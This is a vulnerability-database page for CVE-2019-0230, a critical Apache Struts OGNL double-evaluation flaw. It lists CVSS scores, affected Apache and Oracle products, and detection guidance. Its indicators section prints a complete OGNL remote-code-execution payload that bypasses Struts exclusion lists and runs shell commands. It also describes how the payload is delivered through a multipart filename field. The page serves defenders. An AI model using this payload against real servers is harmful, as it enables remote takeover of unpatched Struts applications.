cbcvebase.
CVE-2019-0230
published 2020-09-14

CVE-2019-0230: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.

PriorityP181critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
97.40%
99.9th percentile
Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.

Affected

6 ranges
VendorProductVersion rangeFixed in
apachestruts2.0.0 – 2.5.20
oraclecommunications_policy_management
oraclefinancial_services_data_integration_hub
oraclefinancial_services_data_integration_hub
oraclefinancial_services_market_risk_measurement_and_management
oraclemysql_enterprise_monitor<= 8.0.23

Detection & IOCsextracted from sources · hover to see the quote

command%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
other%{2+2}
  • Look for OGNL expression injection patterns (e.g., %{...}) in HTTP request parameters or tag attribute values submitted to Apache Struts endpoints (*.action, *.do), particularly in multipart/form-data requests with OGNL payloads in the filename field.
  • The exploit delivers the OGNL payload inside the filename parameter of a multipart/form-data POST body (with a null-byte suffix \x00b), targeting Struts action endpoints. Inspect multipart filename fields for OGNL syntax.
  • The vulnerability is triggered via double OGNL evaluation in tag attributes (e.g., id attribute of anchor tags). Audit JSP templates for use of %{userInput} patterns in tag attributes such as id, href, etc., where user-controlled data flows into OGNL expressions.
  • The Metasploit module targets this vulnerability as a multi/http exploit. Detect exploitation attempts by monitoring for the characteristic OGNL double-evaluation pattern in HTTP requests to Struts applications.
  • ·Exploitation requires the target Struts application to be developed in a way that passes unvalidated user input into a tag attribute used inside an OGNL expression — not all Struts applications are vulnerable by default.
  • ·Struts mitigations (struts.excludedClasses, struts.excludedPackageNamePatterns, struts.excludedPackageNames) partially restrict exploitation, but the exploit payload explicitly clears these exclusion lists via getExcludedPackageNames().clear() and getExcludedClasses().clear() to bypass them.
  • ·The alt syntax (%{ognlexp}) that enables forced double OGNL evaluation is enabled by default in Apache Struts, making applications that use raw user input in tag attributes vulnerable without additional developer hardening.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vendor_oracle9.8CRITICAL
vendor_redhat9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.